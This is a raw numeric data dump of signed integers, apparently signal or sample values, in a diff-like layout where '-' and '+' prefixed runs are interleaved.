-64 -136 -131 -28 --60 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --61 -62 -136 -129 -26 --61 --119 --119 --65 -65 -136 -133 -29 --59 --119 --119 --63 -65 -136 -133 -29 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --63 -62 -136 -133 -27 --59 --119 --119 --65 -60 -136 -133 -26 --61 --119 --119 --67 -64 -136 -129 -26 --58 --119 --119 --64 -63 -136 -131 -27 --59 --119 --119 --63 -65 -136 -131 -27 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --63 -65 -136 -131 -28 --59 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --62 -62 -136 -128 -25 --61 --119 --119 --66 -62 -136 -131 -26 --58 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --64 -65 -136 -133 -27 --58 --119 --119 --65 -61 -136 -136 -136 -56 --33 --97 --119 --119 --93 -51 -136 -136 -136 -67 --26 --88 --119 --119 --97 -43 -136 -136 -136 -58 --35 --93 --119 --119 --103 -41 -136 -136 -136 -57 --36 +-46 +-106 +-128 +-128 -98 --119 --119 --90 -39 -136 -136 -136 -54 --36 --98 --119 --119 --95 -33 -136 -136 -136 -53 --37 +27 +127 +127 +127 +46 +-47 +-109 +-128 +-128 +-101 +26 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-101 +26 +127 +127 +127 +44 +-48 +-109 +-128 +-128 +-102 +24 +127 +127 +127 +44 +-49 +-110 +-128 +-128 -101 --119 --119 --92 -35 -136 -136 -136 -53 --39 --100 --119 --98 -27 -119 -94 --8 --88 --119 --119 --91 -37 -135 -109 -8 --60 --119 --119 --79 -48 -136 -118 -15 --70 --119 --119 --74 -55 -136 -122 -21 --65 --119 --119 --69 -56 -136 -123 -20 --64 --119 --119 --71 -59 -136 -126 23 --60 --119 --119 --68 -60 -136 127 -25 --61 --119 --119 --64 -61 -136 -132 -25 --59 --119 --119 --66 -60 -136 -133 -26 --62 --119 --119 --66 -61 -136 127 +127 +40 +-51 +-109 +-128 +-128 +-102 +24 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-103 +26 +127 +127 +127 +40 +-51 +-109 +-128 +-128 +-102 +22 +127 +127 +127 +41 +-48 +-110 +-128 +-128 +-104 +26 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-101 +24 +127 +127 +127 +42 +-48 +-110 +-128 +-128 +-104 +22 +127 +127 +127 +41 +-47 +-111 +-128 +-128 +-103 +23 +127 +127 +127 +42 +-51 +-108 +-128 +-128 +-103 25 --62 --119 --119 --66 -61 -136 -131 +127 +127 +127 +43 +-49 +-110 +-128 +-128 +-103 26 --62 --119 --119 --67 -62 -136 -131 -26 --57 --119 --119 --63 -64 -136 -133 -28 --60 --119 --119 --63 -65 -136 -132 -27 --60 --119 --119 --64 -66 -136 -131 -27 --60 --119 --119 --64 -65 -136 -133 -27 --61 --119 --119 --119 --57 -68 -136 -136 -136 +127 +127 +127 +43 +-49 +-110 +-128 +-108 +15 +110 83 --15 --93 --119 --119 --69 -54 -136 -136 -136 -67 --25 --103 --119 --119 +-16 -98 -43 -136 -136 -136 -62 --29 --94 --119 --119 --101 -42 -136 -136 -136 -59 --35 --96 --119 --119 --88 -38 -136 -136 -136 -58 --39 --96 --119 --119 --92 -35 -136 -136 -136 -52 --41 --99 --119 --119 --91 -35 -136 -124 -20 --66 --119 --119 --60 -50 -136 -115 -12 --72 --119 --119 --63 -50 -136 -120 -16 --67 --119 --119 --70 -55 -136 -124 -23 --64 --119 --119 --68 -60 -136 -128 -25 --62 --119 --119 --65 -60 -136 -129 -24 --61 --119 --119 --64 -61 -136 -129 -26 --61 --119 --119 --64 -62 -136 -131 -27 --61 --119 --119 --62 -62 -136 -129 -27 --59 --119 --119 --63 -62 -136 -132 -30 --61 --119 --119 --64 -64 -136 -133 -27 --60 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -27 --61 --119 --119 --64 -64 -136 -132 -30 --61 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -28 --59 --119 --119 --63 -65 -136 -130 -28 --59 --119 --119 --62 -62 -136 -128 -25 --59 --119 --119 --65 -62 -136 -128 -25 --62 --119 --119 --65 -60 -136 -133 -25 --59 --119 --119 --63 -65 -136 -131 -29 --59 --119 --119 --64 -65 -136 -131 -29 --59 --119 --119 --64 -65 -136 -133 -28 --60 --119 --119 --65 -64 -136 -133 -28 --60 --119 --119 --65 -62 -136 -129 -26 --61 --119 --119 --66 -61 -136 -132 -25 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --63 -62 -136 -132 -30 --60 --119 --119 --66 -61 -136 -131 -26 --57 --119 --119 --65 -65 -136 -136 -136 -57 --35 --96 --119 --119 --93 -51 -136 -136 -136 -68 --27 --88 --119 --119 --96 -44 -136 -136 -136 -60 --34 --94 --119 --119 +-128 +-128 -102 +28 +126 +100 +-1 +-69 +-128 +-128 +-88 38 -136 -136 -136 -58 --35 --97 --119 --119 --90 -37 -136 -136 -136 -55 --37 --98 --119 --119 --91 -35 -136 -136 -136 -53 --39 --99 --119 --119 --91 -33 -136 -136 -136 -52 --37 --101 --119 --100 -25 -120 -91 --8 --89 --119 --119 --93 -39 -133 +127 109 -10 --62 --119 --119 --80 -49 -136 -117 -15 --69 --119 --119 --73 -55 -136 -123 -20 --66 --119 --119 --69 -57 -136 -126 -22 --64 --119 --119 --68 -61 -136 -129 -26 --63 --119 --119 --65 -61 -136 -129 -25 --62 --119 --119 --66 -63 -136 -129 -25 --60 --119 --119 --119 --58 -71 -136 -136 -136 -84 --13 --94 --119 --119 --69 -57 -136 -136 -136 -68 --26 --103 --119 --119 --95 -45 -136 -136 -136 -62 --31 --93 --119 --119 --101 -41 -136 -136 -136 -58 --35 --97 --119 --119 --88 -39 -136 -136 -136 -55 --36 --98 --119 --119 --90 -36 -136 -136 -136 -54 --38 --99 --119 --97 -27 -121 -93 --6 --88 --119 --119 --91 -37 -135 -111 -9 --60 --119 --119 +6 -79 -48 -136 -119 -16 --70 --119 --119 --74 -53 -136 -122 -19 --67 --119 --119 --70 -56 -136 -127 -23 --64 --119 --119 --68 -61 -136 -129 -24 --64 --119 --119 --66 -61 -136 -129 -25 --61 --119 --119 --64 -60 -136 -127 -24 --61 --119 --119 --67 -59 -136 -132 -24 --60 --119 --119 --65 -63 -136 -131 -26 --59 --119 --119 --63 -63 -136 -133 -30 --61 --119 --119 --63 -63 -136 -131 -26 --60 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --65 -62 -136 -130 -26 --61 --119 --119 --66 -63 -136 -131 -26 --57 --119 --119 --64 -63 -136 -132 -29 --59 --119 --119 --63 -65 -136 -133 -26 --58 --119 --119 --62 -64 -136 -132 -27 --59 --119 --119 --63 -66 -136 -135 -28 --60 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --62 -62 -136 -130 -28 --57 --119 --119 --66 -64 -136 -131 -29 --62 --119 --119 --65 -61 -136 -132 -26 --61 --119 --119 --66 -63 -136 -130 -26 --57 --119 --119 --64 -63 -136 -132 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --62 -64 -136 -133 -28 --60 --119 --119 --65 -62 -136 -129 -25 --62 --119 --119 --66 -61 -136 -133 -25 --58 --119 --119 --64 -64 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -65 -136 -131 -28 --59 --119 --119 --63 -63 -136 -133 -27 --59 --119 --119 --119 --57 -70 -136 -136 -136 -84 --13 --93 --119 --119 --69 -56 -136 -136 -136 -70 --25 --88 --119 --119 --95 -47 -136 -136 -136 -61 --29 --92 --119 --119 --101 -40 -136 -136 -136 -57 --36 --97 --119 --119 --88 -39 -136 -136 -136 -56 --37 --98 --119 --119 --92 -37 -136 -136 -136 -53 --37 --99 --119 --119 --93 -36 -136 -121 -19 --67 --119 --119 --60 -50 -136 -115 -11 --71 --119 --119 --61 -50 -136 -119 -17 --68 --119 --119 --71 -56 -136 -125 -22 --65 --119 --119 --69 -59 -136 -128 -22 --62 --119 --119 --66 -60 -136 -128 -24 --62 --119 --119 --65 -62 -136 -130 -26 --61 --119 --119 --64 -62 -136 -131 -27 --61 --119 --119 --63 -63 -136 -136 -136 -57 --34 --96 --119 --119 --93 -49 -136 -136 -136 -66 --27 --103 --119 --119 --100 -44 -136 -136 -136 -61 --33 --95 --119 --119 --103 -41 -136 -136 -136 -57 --35 --97 --119 --119 --90 -37 -136 -136 -136 -57 --39 --97 --119 --119 --91 -36 -136 -136 -136 -53 --39 --100 --119 --119 --94 -36 -136 -136 -136 -52 --40 --101 --119 --119 --92 -34 -136 -136 -136 -52 --40 --100 --119 --119 --92 -32 -136 -136 -136 -54 --40 --100 --119 --119 --93 -35 -136 -136 -136 -52 --40 --102 --119 --119 --94 -34 -136 -136 -136 -52 --38 --100 --119 --119 --93 -35 -136 -136 -136 -51 --41 --102 --119 --119 --93 -34 -136 -136 -136 -53 --40 --101 --119 --119 --92 -34 -136 -121 -18 --68 --119 --119 --59 -46 -136 -113 -13 --75 --119 --119 --66 -47 -136 -119 -15 --67 --119 --119 --57 -56 -136 -125 -22 --64 --119 --119 --69 -59 -136 -127 -25 --62 --119 --119 --67 -61 -136 -130 -25 --62 --119 --119 --67 -61 -136 -131 -24 --59 --119 --119 --66 -59 -136 -129 -25 --63 --119 --119 --67 -63 -136 -129 -26 --58 --119 --119 --64 -64 -136 -131 -28 --59 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --63 -62 -136 -131 -30 --60 --119 --119 --66 -62 -136 -131 -26 --58 --119 --119 --65 -63 -136 -131 -29 --59 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -65 -136 -133 -26 --58 --119 --119 --65 -60 -136 -133 -26 --58 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --65 -62 -136 -131 -27 --61 --119 --119 --65 -60 -136 -132 -26 --61 --119 --119 --67 -63 -136 -130 -26 --57 --119 --119 --65 -63 -136 -129 -28 --57 --119 --119 --63 -64 -136 -130 -27 --61 --119 --119 --63 -63 -136 -132 -28 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -62 -136 -128 -25 --61 --119 --119 --66 -61 -136 -133 -25 --58 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --63 -65 -136 -133 -26 --59 --119 --119 --65 -65 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --62 -62 -136 -128 -25 --61 --119 --119 --66 -64 -136 -130 -26 --58 --119 --119 --63 -64 -136 -132 -28 --60 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --63 -65 -136 -133 -28 --61 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --62 -62 -136 -130 -27 --59 --119 --119 --63 -63 -136 -132 -27 --59 --119 --119 --65 -62 -136 -131 -29 --59 --119 --119 --66 -61 -136 -131 -25 --58 --119 --119 --65 -64 -136 -132 -28 --60 --119 --119 --62 -64 -136 -131 -28 --59 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --65 -62 -136 -128 -25 --61 --119 --119 --67 -65 -136 -129 -27 --57 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --64 -65 -136 -129 -28 --57 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --63 -65 -136 -133 -28 --61 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -28 --60 --119 --119 --63 -64 -136 -131 -26 --60 --119 --119 --64 -65 -136 -132 -30 --61 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -62 -136 -130 -28 --58 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --64 -63 -136 -130 -26 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --63 -64 -136 -131 -30 --61 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --65 -63 -136 -132 -27 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --63 -64 -136 -132 -28 --60 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -64 -136 -130 -27 --59 --119 --119 --62 -62 -136 -128 -25 --60 --119 --119 --66 -65 -136 -129 -26 --57 --119 --119 --64 -63 -136 -133 -29 --59 --119 --119 --62 -63 -136 -132 -27 --58 --119 --119 --62 -63 -136 -133 -29 --59 --119 --119 --65 -65 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -28 --60 --119 --119 --63 -62 -136 -131 -29 --59 --119 --119 --67 -62 -136 -130 -25 --58 --119 --119 --63 -64 -136 -132 -29 --59 --119 --119 --62 -63 -136 -132 -27 --59 --119 --119 --62 -62 -136 -130 -26 --59 --119 --119 --62 -63 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -27 --59 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --62 -62 -136 -131 -27 --61 --119 --119 --64 -63 -136 -132 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -65 -136 -131 -27 --59 --119 --119 --62 -61 -136 -127 -25 --62 --119 --119 --66 -62 -136 -131 -25 --58 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --65 -61 -136 -131 -27 --61 --119 --119 --66 -61 -136 -132 -26 --58 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --64 -64 -136 -132 -30 --61 --119 --119 --66 -60 -136 -132 -25 --58 --119 --119 --63 -63 -136 -131 -27 --61 --119 --119 --63 -65 -136 -130 -29 --58 --119 --119 --66 -61 -136 -131 -26 --57 --119 --119 --65 -64 -136 -132 -28 --60 --119 --119 --64 -64 -136 -130 -28 --59 --119 --119 --63 -63 -136 -130 -28 --58 --119 --119 --62 -62 -136 -128 -25 --61 --119 --119 --65 -61 -136 -133 -25 --59 --119 --119 --64 -65 -136 -131 -29 --59 --119 --119 --63 -65 -136 -131 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --63 -64 -136 -133 -26 --58 --119 --119 --66 -61 -136 -132 -25 --58 --119 --119 --63 -64 -136 -131 -27 --59 --119 --119 --62 -62 -136 -136 -136 -56 --36 --94 --119 --119 --94 -51 -136 -136 -136 -68 --25 --89 --119 --119 --98 -46 -136 -136 -136 -60 --34 --94 --119 --119 --102 -39 -136 -136 -136 -57 --37 --96 --119 --119 --89 -35 -136 -136 -136 -53 --40 --98 --119 --119 --92 -37 -136 -136 -136 -53 --40 --99 --119 --119 --91 -34 -136 -136 -136 -53 --39 --101 --119 --99 -25 -120 -93 --7 --89 --119 --119 --90 -36 -136 -109 -7 --61 --119 --119 --80 -49 -136 -115 -15 --68 --119 --119 --74 -54 -136 -123 -20 --66 --119 --119 --70 -58 -136 -126 -22 --64 --119 --119 --67 -59 -136 -127 -23 --63 --119 --119 --67 -61 -136 -128 -26 --60 --119 --119 --64 -61 -136 -127 -23 --61 --119 --119 --68 -64 -136 -129 -25 --58 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --64 -65 -136 -133 -27 --60 --119 --119 --63 -64 -136 -131 -27 --59 --119 --119 --63 -63 -136 -130 -26 --59 --119 --119 --62 -62 -136 -129 -25 --59 --119 --119 --66 -61 -136 -133 -25 --59 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --65 -63 -136 -131 -28 --58 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -26 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -63 -136 -132 -27 --59 --119 --119 --63 -65 -136 -132 -27 --59 --119 --119 --64 -64 -136 -132 -27 --60 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -64 -136 -133 -27 --60 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --62 -65 -136 -131 -27 --60 --119 --119 --64 -65 -136 -129 -27 --57 --119 --119 --65 -64 -136 -133 -25 --58 --119 --119 --64 -65 -136 -133 -26 --59 --119 --119 --64 -64 -136 -133 -29 --60 --119 --119 --62 -65 -136 -132 -27 --60 --119 --119 --63 -64 -136 -133 -30 --61 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --65 -62 -136 -129 -26 --62 --119 --119 --65 -62 -136 -131 -26 --61 --119 --119 --66 -63 -136 -131 -26 --57 --119 --119 --63 -64 -136 -131 -28 --59 --119 --119 --62 -62 -136 -128 -24 --62 --119 --119 --65 -63 -136 -131 -26 --57 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --63 -65 -136 -133 -26 --58 --119 --119 --63 -65 -136 -133 -27 --60 --119 --119 --63 -64 -136 -131 -27 --59 --119 --119 --64 -65 -136 -133 -25 --58 --119 --119 --119 --59 -72 -136 -136 -136 -84 --12 --93 --119 --119 --69 -57 -136 -136 -136 -70 --25 --88 --119 --119 --97 -46 -136 -136 -136 -61 --30 --92 --119 --119 --102 -42 -136 -136 -136 -58 --35 --96 --119 --119 --89 -38 -136 -136 -136 -55 --37 --97 --119 --119 --90 -35 -136 -136 -136 -52 --40 --98 --119 --100 -23 -123 -94 --9 --71 --119 --119 --91 -39 -134 -107 -8 --60 --119 --119 --79 -47 -136 -120 -14 --68 --119 --119 --73 -55 -136 -123 -20 --66 --119 --119 --69 -58 -136 -127 -23 --64 --119 --119 --68 -61 -136 -127 -24 --63 --119 --119 --67 -63 -136 -131 -23 --60 --119 --119 --65 -63 -136 -129 -27 --60 --119 --119 --63 -62 -136 -130 -29 --59 --119 --119 --67 -61 -136 -131 -25 --58 --119 --119 --64 -63 -136 -132 -28 --59 --119 --119 --63 -63 -136 -133 -27 --60 --119 --119 --63 -64 -136 -134 -28 --59 --119 --119 --64 -64 -136 -134 -26 --58 --119 --119 --63 -65 -136 -133 -29 --60 --119 --119 --63 -64 -136 -133 -28 --59 --119 --119 --64 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -28 --60 --119 --119 --62 -62 -136 -133 -30 --61 --119 --119 --63 -65 -136 -133 -29 --59 --119 --119 --62 -64 -136 -133 -29 --59 --119 --119 --63 -63 -136 -132 -26 --59 --119 --119 --62 -63 -136 -132 -28 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -65 -136 -133 -28 --60 --119 --119 --64 -65 -136 -130 -29 --57 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --63 -65 -136 -133 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --63 -64 -136 -133 -28 --59 --119 --119 --64 -65 -136 -134 -26 --58 --119 --119 --66 -61 -136 -133 -25 --59 --119 --119 --64 -64 -136 -130 -28 --59 --119 --119 --63 -64 -136 -133 -28 --59 --119 --119 --64 -65 -136 -134 -26 --58 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --61 -64 -136 -132 -27 --60 --119 --119 --65 -63 -136 -129 -25 --61 --119 --119 --66 -62 -136 -132 -25 --58 --119 --119 --64 -63 -136 -132 -28 --59 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --61 -63 -136 -133 -27 --60 --119 --119 --64 -63 -136 -131 -26 --59 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --62 -64 -136 -133 -28 --60 --119 --119 --63 -65 -136 -133 -28 --60 --119 --119 --65 -64 -136 -132 -28 --60 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --62 -65 -136 -133 -28 --60 --119 --119 --63 -66 -136 -133 -29 --60 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --64 -65 -136 -130 -28 --57 --119 --119 --119 --59 -72 -136 -136 -136 -84 --12 --91 --119 --119 --68 -56 -136 -136 -136 -68 --27 --89 --119 --119 --95 -48 -136 -136 -136 -62 --31 --93 --119 --119 --101 -43 -136 -136 -136 -58 --35 --97 --119 --119 --89 -37 -136 -136 -136 -54 --37 --98 --119 --119 --90 -34 -136 -136 -136 -53 --41 --100 --119 --119 --96 -35 -136 -136 -136 -51 --37 --102 --119 --119 --94 -35 -136 -136 -136 -53 --39 --100 --119 --119 --93 -34 -136 -136 -136 -53 --39 --100 --119 --119 --93 -32 -136 -136 -136 -54 --40 --99 --119 --119 --95 -34 -136 -136 -136 -52 --39 --100 --119 --119 --93 -35 -136 -136 -136 -52 --40 --101 --119 --119 --94 -35 -136 -136 -136 -52 --40 --100 --119 --98 -24 -118 -90 --8 --90 --119 --119 --93 -39 -133 -110 -7 --59 --119 --119 --82 -44 -136 -119 -13 --71 --119 --119 --75 -55 -136 -122 -19 --66 --119 --119 --70 -56 -136 -127 -22 --65 --119 --119 --67 -59 -136 -129 -25 --63 --119 --119 --65 -62 -136 -129 -25 --61 --119 --119 --65 -62 -136 -129 -26 --59 --119 --119 --64 -64 -136 -131 -26 --60 --119 --119 --65 -65 -136 -131 -26 --59 --119 --119 --62 -63 -136 -133 -27 --59 --119 --119 --63 -63 -136 -133 -27 --59 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --64 -65 -136 -133 -26 --58 --119 --119 --62 -61 -136 -129 -25 --62 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --64 -65 -136 -133 -28 --59 --119 --119 --65 -61 -136 -131 -26 --61 --119 --119 --67 -63 -136 -131 -26 --57 --119 --119 --66 -60 -136 -132 -25 --61 --119 --119 --63 -64 -136 -133 -30 --61 --119 --119 --64 -65 -136 -131 -27 --59 --119 --119 --64 -64 -136 -131 -28 --59 --119 --119 --62 -63 -136 -131 -29 --57 --119 --119 --64 -66 -136 -133 -29 --59 --119 --119 --64 -65 -136 -133 -26 --58 --119 --119 --63 -65 -136 -135 -26 --57 --119 --119 --62 -62 -136 -129 -25 --61 --119 --119 --66 -62 -136 -132 -25 --57 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --63 -65 -136 -131 -27 --59 --119 --119 --62 -62 -136 -133 -27 --60 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -66 -136 -133 -27 --58 --119 --119 --65 -61 -136 -133 -27 --62 --119 --119 --66 -63 -136 -131 -26 --57 --119 --119 --65 -61 -136 -131 -25 --61 --119 --119 --119 --58 -72 -136 -136 -136 -85 --12 --93 --119 --119 --68 -56 -136 -136 -136 -69 --25 --89 --119 --119 --97 -48 -136 -136 -136 -59 --33 --92 --119 --119 --103 -40 -136 -136 -136 -55 --37 --95 --119 --119 --90 -39 -136 -136 -136 -55 --37 --99 --119 --119 --90 -37 -136 -136 -136 -53 --38 --99 --119 --119 --91 -35 -136 -122 -19 --68 --119 --119 --58 -47 -136 -115 -13 --74 --119 --119 --62 -50 -136 -121 -18 --68 --119 --119 --71 -55 -136 -125 -21 --65 --119 --119 --68 -57 -136 -124 -22 --62 --119 --119 --65 -59 -136 -131 -23 --60 --119 --119 --64 -61 -136 -129 -25 --59 --119 --119 --64 -62 -136 -131 -26 --61 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -62 -136 -130 -29 --58 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -28 --60 --119 --119 --65 -61 -136 -127 -25 --62 --119 --119 --66 -62 -136 -130 -26 --57 --119 --119 --65 -63 -136 -128 -25 --61 --119 --119 --66 -62 -136 -131 -26 --57 --119 --119 --65 -65 -136 -131 -27 --60 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -131 -28 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --64 -64 -136 -129 -26 --60 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --62 -63 -136 -133 -29 --59 --119 --119 --63 -65 -136 -131 -27 --61 --119 --119 --63 -63 -136 -133 -26 --58 --119 --119 --64 -65 -136 -134 -27 --58 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --63 -64 -136 -134 -26 --57 --119 --119 --64 -65 -136 -133 -26 --58 --119 --119 --63 -63 -136 -131 -27 --59 --119 --119 --62 -62 -136 -130 -28 --59 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --62 -64 -136 -131 -28 --59 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --62 -62 -136 -129 -27 --57 --119 --119 --63 -65 -136 -133 -26 --58 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --62 -63 -136 -132 -28 --60 --119 --119 --65 -63 -136 -133 -27 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -28 --60 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --62 -61 -136 -128 -25 --62 --119 --119 --65 -62 -136 -131 -27 --62 --119 --119 --65 -61 -136 -132 -26 --61 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --63 -65 -136 -133 -29 --59 --119 --119 --62 -64 -136 -133 -29 --59 --119 --119 --62 -65 -136 -132 -28 --59 --119 --119 --62 -65 -136 -133 -29 --59 --119 --119 --61 -62 -136 -130 -26 --61 --119 --119 --65 -61 -136 -133 -26 --59 --119 --119 --61 -64 -136 -132 -27 --60 --119 --119 --63 -65 -136 -133 -26 --58 --119 --119 --63 -63 -136 -133 -29 --59 --119 --119 --63 -63 -136 -136 -136 -57 --34 --96 --119 --119 --93 -49 -136 -136 -136 -66 --27 --103 --119 --119 --100 -42 -136 -136 -136 -57 --32 --97 --119 --119 --103 -41 -136 -136 -136 -57 --35 --97 --119 --119 --90 -36 -136 -136 -136 -54 --38 --100 --119 --119 --92 -37 -136 -136 -136 -51 --41 --99 --119 --119 --93 -36 -136 -136 -136 -52 --40 --99 --119 --97 -25 -120 -93 --6 --88 --119 --119 --92 -37 -134 -108 -7 --61 --119 --119 --80 -50 -136 -119 -15 --71 --119 --119 --73 -54 -136 -123 -19 --67 --119 --119 --71 -59 -136 -126 -25 --65 --119 --119 --67 -58 -136 -125 -22 --65 --119 --119 --68 -62 -136 -131 -26 --61 --119 --119 --64 -62 -136 -132 -26 --61 --119 --119 --119 --58 -69 -136 -136 -136 -84 --13 --93 --119 --119 --69 -58 -136 -136 -136 -70 --25 --88 --119 --119 --96 -44 -136 -136 -136 -60 --32 --91 --119 --119 --89 -38 -136 -136 -136 -57 --33 --97 --119 --119 --90 -37 -136 -136 -136 -56 --37 --98 --119 --119 --91 -36 -136 -136 -136 -55 --39 --98 --119 --97 -26 -120 -92 --7 --88 --119 --119 --92 -37 -136 -110 -7 --61 --119 --119 --79 -48 -136 -119 -15 --70 --119 --119 --72 -53 -136 -123 -18 --65 --119 --119 --68 -56 -136 -126 -25 --65 --119 --119 --70 -57 -136 -128 -22 --61 --119 --119 --65 -62 -136 -130 -25 --61 --119 --119 --63 -61 -136 -127 -24 --63 --119 --119 --65 -63 -136 -131 -27 --60 --119 --119 --64 -64 -136 -131 -27 --60 --119 --119 --63 -64 -136 -132 -27 --60 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --64 -64 -136 -132 -28 --60 --119 --119 --62 -61 -136 -128 -25 --62 --119 --119 --66 -60 -136 -132 -26 --61 --119 --119 --67 -63 -136 -130 -26 --58 --119 --119 --63 -65 -136 -131 -27 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -65 -136 -133 -29 --59 --119 --119 --62 -64 -136 -131 -26 --60 --119 --119 --65 -65 -136 -132 -28 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -63 -136 -134 -26 --58 --119 --119 --65 -61 -136 -133 -26 --61 --119 --119 --66 -65 -136 -129 -26 --57 --119 --119 --63 -64 -136 -131 -27 --59 --119 --119 --62 -62 -136 -131 -26 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -26 --59 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --65 -63 -136 -130 -26 --59 --119 --119 --63 -62 -136 -130 -25 --61 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --62 -63 -136 -132 -27 --61 --119 --119 --64 -64 -136 -130 -29 --57 --119 --119 --63 -62 -136 -129 -25 --62 --119 --119 --65 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -131 -28 --59 